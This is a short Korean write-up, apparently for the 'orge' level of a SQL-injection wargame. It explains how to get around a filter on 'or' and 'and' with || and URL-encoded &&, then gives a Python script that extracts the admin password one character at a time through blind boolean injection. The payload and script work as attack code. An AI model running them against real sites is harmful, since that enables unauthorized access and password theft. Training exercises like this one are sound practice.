- 문자열 or 와 and를 필터링 하고 있다.
- 정확한 pw를 찾으면 문제를 해결할 수 있다.
or 하고 and는 특수문자 ||와 &&로 우회할 수 있다.
여기서 주의할 점은 특수문자 &은 url인코딩해서 %26으로 적어야한다.
?pw=aaa' || id='admin' %26%26 length(pw)=8%23
length가 8일 때 Hello admin이 출력되는 것을 보아 pw의 길이는 8임을 알 수 있다.
import requests
cookie = {'PHPSESSID': '사용자 세션'}
address = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'
string = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
answer = ''
for i in range(1,9):
for j in string:
url = f"{address}?pw=' || id='admin' %26%26 substr(pw,{i},1) = '{j}'%23"
res = requests.get(url, cookies=cookie)
if "Hello admin" in res.text:
answer += j
break
print(f'[+] Find : {answer}')